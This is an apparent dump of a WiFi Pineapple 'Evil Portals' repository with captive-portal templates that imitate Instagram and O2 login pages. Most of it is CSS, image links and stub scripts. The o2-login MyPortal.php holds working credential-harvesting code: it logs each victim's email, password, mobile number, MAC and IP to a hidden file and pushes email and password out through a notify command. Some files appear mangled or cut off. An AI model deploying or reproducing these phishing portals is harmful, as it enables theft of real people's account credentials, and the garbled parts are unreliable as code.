function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/css/0608bd6190e0.css: -------------------------------------------------------------------------------- 1 | .AHCwU{background-color:#fff;background-color:rgba(var(--d87,255,255,255),1);border:1px solid #dbdbdb;border:1px solid rgba(var(--b6a,219,219,219),1);border-radius:3px;margin:60px auto 0;max-width:935px;overflow:hidden}.AHCwU:empty{border:0} -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/css/344096cb1b73.css: -------------------------------------------------------------------------------- 1 | ._4_yKc{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:32px auto 0;max-width:935px;padding-bottom:32px;width:100%}@media (max-width:875px){._80tAB{display:none}}@media (max-width:450px){._4_yKc{margin-top:0}} 2 | .PdTAI{border-top:1px solid #dbdbdb;border-top:1px solid rgba(var(--b38,219,219,219),1)}.WquS1{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);font-size:14px;margin:auto;text-align:center}.WquS1>a{color:#262626;color:rgba(var(--i1d,38,38,38),1);font-weight:600} 3 | .q8NLd{margin:16px 16px 6px}.KjWFV{opacity:.5;position:absolute;left:0;top:0}._9rw6G{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);font-size:12px;font-weight:initial;text-transform:initial;width:100%} 4 | .bR_3v{background:#fafafa;background:rgba(var(--b3f,250,250,250),1);border-top:1px solid #dbdbdb;border-top:1px solid rgba(var(--b6a,219,219,219),1);border-bottom:1px solid #dbdbdb;border-bottom:1px solid rgba(var(--b6a,219,219,219),1);padding:16px 44px 20px 44px;text-align:center}.w03Xk{margin:0 auto;max-width:614px;position:relative;width:100%}.gAoda{margin:0 auto 16px auto}.gAo1g{font-weight:600}.nwq6V{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);margin-top:6px}.Ls00D{position:absolute;right:-28px;top:0;z-index:1}.aPBwk button{margin-top:8px}.G2rOZ button{color:#0095f6;color:rgba(var(--d69,0,149,246),1);font-weight:600;margin-top:10px;margin-bottom:4px}.bR_3v.mSQl2{left:0;bottom:0;position:fixed;z-index:11;background-color:#fff;border:0;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);width:100%;padding-left:16px;padding-right:16px}.mSQl2 .Ls00D{right:0}.bR_3v.Fzijm{left:0;bottom:0;position:fixed;z-index:4;background-color:rgba(0,0,0,.8);border:0;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);width:100%;padding-left:16px;padding-right:16px}.Fzijm .Ls00D{right:0}.Fzijm ._0DvBq{margin:0 auto 5px}.Fzijm .nwq6V,.Fzijm .gAo1g{color:#fff}.Fzijm .G2rOZ{margin-bottom:-10px}@media (min-width:736px){.aPBwk{display:inline-block}}@media (min-width:876px){.bR_3v:not(.Fzijm){background:#fff;background:rgba(var(--d87,255,255,255),1);border:1px solid #dbdbdb;border:1px solid rgba(var(--b6a,219,219,219),1)}.bR_3v.Fzijm{height:100px;bottom:0;padding-top:20px}.bR_3v.mSQl2{height:100px;bottom:0;padding-top:20px}.Fzijm .w03Xk{max-width:none;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.Fzijm .w03Xk .pHxcJ{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;max-width:944px;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;height:64px;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%;margin-left:7px}.Fzijm ._0DvBq{margin-left:0;max-width:376px;text-align:left;white-space:normal}.Fzijm .DZiHE{display:inherit}.Fzijm .aPBwk{margin-right:7px}.Fzijm .gAoda{margin:0;border:0;margin-right:16px}} 5 | .bLOrn{background-color:#fafafa;background-color:rgba(var(--b3f,250,250,250),1);border:1px solid #dbdbdb;border:1px solid rgba(var(--b6a,219,219,219),1);bottom:0;left:0;position:fixed;right:0;top:76px;z-index:100;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.QEbUV{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;background-color:#fff;background-color:rgba(var(--d87,255,255,255),1);border:2px solid #dbdbdb;border:2px solid rgba(var(--b6a,219,219,219),1);-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;max-width:520px;padding:0 32px;text-align:center}.K4-p0{color:#262626;color:rgba(var(--i1d,38,38,38),1);font-size:28px;line-height:32px}.WzKC6{border-radius:50%;margin:25px 0}._-5Qf-{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);font-size:16px;line-height:24px;margin:25px 0}@media (max-width:875px){.bLOrn{background-color:#fff;background-color:rgba(var(--d87,255,255,255),1);border:0;top:0}.QEbUV{border:0}.Hmjbs button{height:46px;width:calc(100vw - 50px)}} 6 | @media (min-width:736px){.DCpAF{border:1px solid #dbdbdb;border:1px solid rgba(var(--b38,219,219,219),1);border-radius:4px;margin-bottom:32px;overflow:hidden}._1ssW0{margin:-1px 0}} 7 | .yOZjD{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;background-image:url(../img/43cc71bb1b43.png);background-position:0 0;background-size:454px 618px;-webkit-flex-basis:454px;-ms-flex-preferred-size:454px;flex-basis:454px;height:618px;margin-left:-35px;margin-right:-15px}@media screen and (-webkit-min-device-pixel-ratio:1.5),screen and (min-resolution:1.5dppx){.yOZjD{background-image:url(../img/9364675fb26a.png)}}.V64Sp{margin:99px 0 0 151px;position:relative}.RP4i1{height:427px;left:0;opacity:0;position:absolute;top:0;visibility:hidden;width:240px}.JtrJi,.UVauz{opacity:1;visibility:visible}.JtrJi{-webkit-transition:opacity 1.5s ease-in;transition:opacity 1.5s ease-in;z-index:2} 8 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/css/style.css: -------------------------------------------------------------------------------- 1 | ::placeholder { 2 | font-size: 12px; 3 | } 4 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/177140221987.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/177140221987.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/180ae7a0bcf7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/180ae7a0bcf7.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/32f0a4f27407.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/32f0a4f27407.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/36b3ee2d91ed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/36b3ee2d91ed.ico -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/43cc71bb1b43.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/43cc71bb1b43.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/5e04169b9308.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/5e04169b9308.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/9144d6673849.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/9144d6673849.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/9364675fb26a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/9364675fb26a.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/b27a108592d8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/b27a108592d8.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/bcd90c1d4868.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/bcd90c1d4868.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/e9cd846dc748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/e9cd846dc748.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/assets/img/ff2c097a681e.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/assets/img/ff2c097a681e.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Instagram Login 3 | Description: A Instagram page asking for credentials, scenario by Kleo Bercero(https://github.com/kbeflo) 4 | 5 | [context] 6 | login_title: Instagram 7 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/helper.php: -------------------------------------------------------------------------------- 1 | a{color:#262626;color:rgba(var(--i1d,38,38,38),1);font-weight:600} 3 | .q8NLd{margin:16px 16px 6px}.KjWFV{opacity:.5;position:absolute;left:0;top:0}._9rw6G{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);font-size:12px;font-weight:initial;text-transform:initial;width:100%} 4 | .bR_3v{background:#fafafa;background:rgba(var(--b3f,250,250,250),1);border-top:1px solid #dbdbdb;border-top:1px solid rgba(var(--b6a,219,219,219),1);border-bottom:1px solid #dbdbdb;border-bottom:1px solid rgba(var(--b6a,219,219,219),1);padding:16px 44px 20px 44px;text-align:center}.w03Xk{margin:0 auto;max-width:614px;position:relative;width:100%}.gAoda{margin:0 auto 16px auto}.gAo1g{font-weight:600}.nwq6V{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);margin-top:6px}.Ls00D{position:absolute;right:-28px;top:0;z-index:1}.aPBwk button{margin-top:8px}.G2rOZ button{color:#0095f6;color:rgba(var(--d69,0,149,246),1);font-weight:600;margin-top:10px;margin-bottom:4px}.bR_3v.mSQl2{left:0;bottom:0;position:fixed;z-index:11;background-color:#fff;border:0;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);width:100%;padding-left:16px;padding-right:16px}.mSQl2 .Ls00D{right:0}.bR_3v.Fzijm{left:0;bottom:0;position:fixed;z-index:4;background-color:rgba(0,0,0,.8);border:0;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);width:100%;padding-left:16px;padding-right:16px}.Fzijm .Ls00D{right:0}.Fzijm ._0DvBq{margin:0 auto 5px}.Fzijm .nwq6V,.Fzijm .gAo1g{color:#fff}.Fzijm .G2rOZ{margin-bottom:-10px}@media (min-width:736px){.aPBwk{display:inline-block}}@media (min-width:876px){.bR_3v:not(.Fzijm){background:#fff;background:rgba(var(--d87,255,255,255),1);border:1px solid #dbdbdb;border:1px solid rgba(var(--b6a,219,219,219),1)}.bR_3v.Fzijm{height:100px;bottom:0;padding-top:20px}.bR_3v.mSQl2{height:100px;bottom:0;padding-top:20px}.Fzijm .w03Xk{max-width:none;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.Fzijm .w03Xk .pHxcJ{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;max-width:944px;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;height:64px;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%;margin-left:7px}.Fzijm ._0DvBq{margin-left:0;max-width:376px;text-align:left;white-space:normal}.Fzijm .DZiHE{display:inherit}.Fzijm .aPBwk{margin-right:7px}.Fzijm .gAoda{margin:0;border:0;margin-right:16px}} 5 | .bLOrn{background-color:#fafafa;background-color:rgba(var(--b3f,250,250,250),1);border:1px solid #dbdbdb;border:1px solid rgba(var(--b6a,219,219,219),1);bottom:0;left:0;position:fixed;right:0;top:76px;z-index:100;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.QEbUV{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;background-color:#fff;background-color:rgba(var(--d87,255,255,255),1);border:2px solid #dbdbdb;border:2px solid rgba(var(--b6a,219,219,219),1);-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;max-width:520px;padding:0 32px;text-align:center}.K4-p0{color:#262626;color:rgba(var(--i1d,38,38,38),1);font-size:28px;line-height:32px}.WzKC6{border-radius:50%;margin:25px 0}._-5Qf-{color:#8e8e8e;color:rgba(var(--f52,142,142,142),1);font-size:16px;line-height:24px;margin:25px 0}@media (max-width:875px){.bLOrn{background-color:#fff;background-color:rgba(var(--d87,255,255,255),1);border:0;top:0}.QEbUV{border:0}.Hmjbs button{height:46px;width:calc(100vw - 50px)}} 6 | @media (min-width:736px){.DCpAF{border:1px solid #dbdbdb;border:1px solid rgba(var(--b38,219,219,219),1);border-radius:4px;margin-bottom:32px;overflow:hidden}._1ssW0{margin:-1px 0}} 7 | .yOZjD{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;background-image:url(../img/43cc71bb1b43.png);background-position:0 0;background-size:454px 618px;-webkit-flex-basis:454px;-ms-flex-preferred-size:454px;flex-basis:454px;height:618px;margin-left:-35px;margin-right:-15px}@media screen and (-webkit-min-device-pixel-ratio:1.5),screen and (min-resolution:1.5dppx){.yOZjD{background-image:url(../img/9364675fb26a.png)}}.V64Sp{margin:99px 0 0 151px;position:relative}.RP4i1{height:427px;left:0;opacity:0;position:absolute;top:0;visibility:hidden;width:240px}.JtrJi,.UVauz{opacity:1;visibility:visible}.JtrJi{-webkit-transition:opacity 1.5s ease-in;transition:opacity 1.5s ease-in;z-index:2} 8 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/css/style.css: -------------------------------------------------------------------------------- 1 | ::placeholder { 2 | font-size: 12px; 3 | } 4 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/177140221987.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/177140221987.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/180ae7a0bcf7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/180ae7a0bcf7.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/32f0a4f27407.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/32f0a4f27407.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/36b3ee2d91ed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/36b3ee2d91ed.ico -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/43cc71bb1b43.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/43cc71bb1b43.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/5e04169b9308.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/5e04169b9308.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/9144d6673849.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/9144d6673849.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/9364675fb26a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/9364675fb26a.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/b27a108592d8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/b27a108592d8.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/bcd90c1d4868.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/bcd90c1d4868.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/e9cd846dc748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/e9cd846dc748.png -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/html/static/img/ff2c097a681e.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/instagram-login/html/static/img/ff2c097a681e.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/instagram-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"instagram-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 18 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nmobile: {$mobile}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 19 | $this->execBackground("notify $email' - '$pwd"); 20 | } 21 | // handle form input or other extra things there 22 | 23 | // Call parent to handle basic authorization first 24 | parent::handleAuthorization(); 25 | 26 | } 27 | 28 | public function onSuccess() 29 | { 30 | // Calls default success message 31 | parent::onSuccess(); 32 | } 33 | 34 | public function showError() 35 | { 36 | // Calls default error message 37 | parent::showError(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/css/fonts.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'Lato'; 3 | font-weight: 400; 4 | font-style: normal; 5 | src: url('/fonts/Lato-regular/Lato-regular.eot'); 6 | src: url('/fonts/Lato-regular/Lato-regular.eot?#iefix') format('embedded-opentype'), 7 | local('Lato Regular'), 8 | local('Lato-regular'), 9 | url('../fonts/Lato-regular.woff2') format('woff2'); 10 | } 11 | 12 | @font-face { 13 | font-family: 'Lato'; 14 | font-weight: 700; 15 | font-style: normal; 16 | src: url('/fonts/Lato-700/Lato-700.eot'); 17 | src: url('/fonts/Lato-700/Lato-700.eot?#iefix') format('embedded-opentype'), 18 | local('Lato Bold'), 19 | local('Lato-700'), 20 | url('../fonts/Lato-700.woff2') format('woff2'); 21 | } 22 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/css/normalize.min.css: -------------------------------------------------------------------------------- 1 | button, hr, input { 2 | overflow: visible 3 | } 4 | audio, canvas, progress, video { 5 | display: inline-block 6 | } 7 | progress, sub, sup { 8 | vertical-align: baseline 9 | } 10 | html { 11 | font-family: sans-serif; 12 | line-height: 1.15; 13 | -ms-text-size-adjust: 100%; 14 | -webkit-text-size-adjust: 100% 15 | } 16 | body { 17 | margin: 0 18 | } 19 | menu, article, aside, details, footer, header, nav, section { 20 | display: block 21 | } 22 | h1 { 23 | font-size: 2em; 24 | margin: .67em 0 25 | } 26 | figcaption, figure, main { 27 | display: block 28 | } 29 | figure { 30 | margin: 1em 40px 31 | } 32 | hr { 33 | box-sizing: content-box; 34 | height: 0 35 | } 36 | code, kbd, pre, samp { 37 | font-family: monospace, monospace; 38 | font-size: 1em 39 | } 40 | a { 41 | background-color: transparent; 42 | -webkit-text-decoration-skip: objects 43 | } 44 | a:active, a:hover { 45 | outline-width: 0 46 | } 47 | abbr[title] { 48 | border-bottom: none; 49 | text-decoration: underline; 50 | text-decoration: underline dotted 51 | } 52 | b, strong { 53 | font-weight: bolder 54 | } 55 | dfn { 56 | font-style: italic 57 | } 58 | mark { 59 | background-color: #ff0; 60 | color: #000 61 | } 62 | small { 63 | font-size: 80% 64 | } 65 | sub, sup { 66 | font-size: 75%; 67 | line-height: 0; 68 | position: relative 69 | } 70 | sub { 71 | bottom: -.25em 72 | } 73 | sup { 74 | top: -.5em 75 | } 76 | audio:not([controls]) { 77 | display: none; 78 | height: 0 79 | } 80 | img { 81 | border-style: none 82 | } 83 | svg:not(:root) { 84 | overflow: hidden 85 | } 86 | button, input, optgroup, select, textarea { 87 | font-family: sans-serif; 88 | font-size: 100%; 89 | line-height: 1.15; 90 | margin: 0 91 | } 92 | button, input { 93 | } 94 | button, select { 95 | text-transform: none 96 | } 97 | [type=submit], [type=reset], button, html [type=button] { 98 | -webkit-appearance: button 99 | } 100 | [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner, button::-moz-focus-inner { 101 | border-style: none; 102 | padding: 0 103 | } 104 | [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring, button:-moz-focusring { 105 | outline: ButtonText dotted 1px 106 | } 107 | fieldset { 108 | border: 1px solid silver; 109 | margin: 0 2px; 110 | padding: .35em .625em .75em 111 | } 112 | legend { 113 | box-sizing: border-box; 114 | color: inherit; 115 | display: table; 116 | max-width: 100%; 117 | padding: 0; 118 | white-space: normal 119 | } 120 | progress { 121 | } 122 | textarea { 123 | overflow: auto 124 | } 125 | [type=checkbox], [type=radio] { 126 | box-sizing: border-box; 127 | padding: 0 128 | } 129 | [type=number]::-webkit-inner-spin-button, [type=number]::-webkit-outer-spin-button { 130 | height: auto 131 | } 132 | [type=search] { 133 | -webkit-appearance: textfield; 134 | outline-offset: -2px 135 | } 136 | [type=search]::-webkit-search-cancel-button, [type=search]::-webkit-search-decoration { 137 | -webkit-appearance: none 138 | } 139 | ::-webkit-file-upload-button { 140 | -webkit-appearance: button; 141 | font: inherit 142 | } 143 | summary { 144 | display: list-item 145 | } 146 | [hidden], template { 147 | display: none 148 | } 149 | /*# sourceMappingURL=normalize.min.css.map */ 150 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/css/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | -webkit-box-sizing: border-box; 3 | -moz-box-sizing: border-box; 4 | box-sizing: border-box; 5 | } 6 | html { 7 | background: #E2E2E2; 8 | } 9 | body { 10 | background: #E2E2E2; 11 | margin: 0; 12 | padding: 0; 13 | font-family: 'Lato', sans-serif; 14 | background: #eb01a5; 15 | background-image: linear-gradient(#202651, #20386c, #214b87, #285f9f, #3974b2, #4c8bc5, #6ca3d4, #95bee0, #bfd7ec); 16 | } 17 | .login-form-wrap { 18 | position: relative; 19 | width: 100%; 20 | height: 100%; 21 | margin: auto auto; 22 | padding: 50px 30px 0 30px; 23 | text-align: center; 24 | } 25 | .login-form-wrap:before { 26 | display: block; 27 | content: ''; 28 | width: 58px; 29 | height: 19px; 30 | top: 10px; 31 | left: 10px; 32 | position: absolute; 33 | } 34 | .login-form-wrap > h1 { 35 | margin: 0 0 50px 0; 36 | padding: 0; 37 | font-size: 26px; 38 | color: #fff; 39 | } 40 | .login-form-wrap > h5 { 41 | margin-top: 35px; 42 | } 43 | .login-form-wrap > h5 > a { 44 | font-size: 14px; 45 | color: #fff; 46 | text-decoration: none; 47 | font-weight: 700; 48 | } 49 | .login-form input[type="text"], .login-form input[type="number"], .login-form input[type="password"] { 50 | margin: 10; 51 | display: block; 52 | width: 345px; 53 | border: 1px solid #3974b2; 54 | outline: none; 55 | padding: 12px 20px; 56 | color: #afafaf; 57 | font-weight: 400; 58 | font-family: 'Lato', sans-serif; 59 | cursor: pointer; 60 | -webkit-border-radius: 2px; 61 | -moz-border-radius: 2px; 62 | border-radius: 2px; 63 | } 64 | .login-form input[type="text"], .login-form input[type="number"], .login-form input[type="password"] { 65 | color: black; 66 | } 67 | .login-form input[type="submit"] { 68 | font-family: 'Lato', sans-serif; 69 | font-weight: 400; 70 | background: #ffffff; 71 | display: block; 72 | margin: 40px auto 0 auto; 73 | width: 250px; 74 | border: none; 75 | border-radius: 2px; 76 | padding: 12px; 77 | font-size: 17px; 78 | color: #3290d0; 79 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.45); 80 | font-weight: 700; 81 | } 82 | .login-form input[type="submit"]:hover { 83 | background: #ffffff; 84 | } 85 | .login-form input[type="submit"]:active { 86 | background: #C9C9C9; 87 | } 88 | .disable-selection { 89 | -webkit-touch-callout: none; 90 | -webkit-user-select: none; 91 | -khtml-user-select: none; 92 | -moz-user-select: none; 93 | -ms-user-select: none; 94 | user-select: none; 95 | } 96 | 97 | input::-webkit-outer-spin-button, 98 | input::-webkit-inner-spin-button { 99 | -webkit-appearance: none; 100 | margin: 0; 101 | } 102 | h2 { 103 | color: #fff; 104 | padding-bottom: 20px; 105 | } -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/fonts/Lato-700.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/o2-login/assets/fonts/Lato-700.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/fonts/Lato-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/o2-login/assets/fonts/Lato-regular.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/img/logo-o2.svg: -------------------------------------------------------------------------------- 1 | 3 | 7 | 9 | 11 | 12 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/img/logo-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/o2-login/assets/img/logo-white.png -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/assets/img/ymwp832k1s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/o2-login/assets/img/ymwp832k1s.png 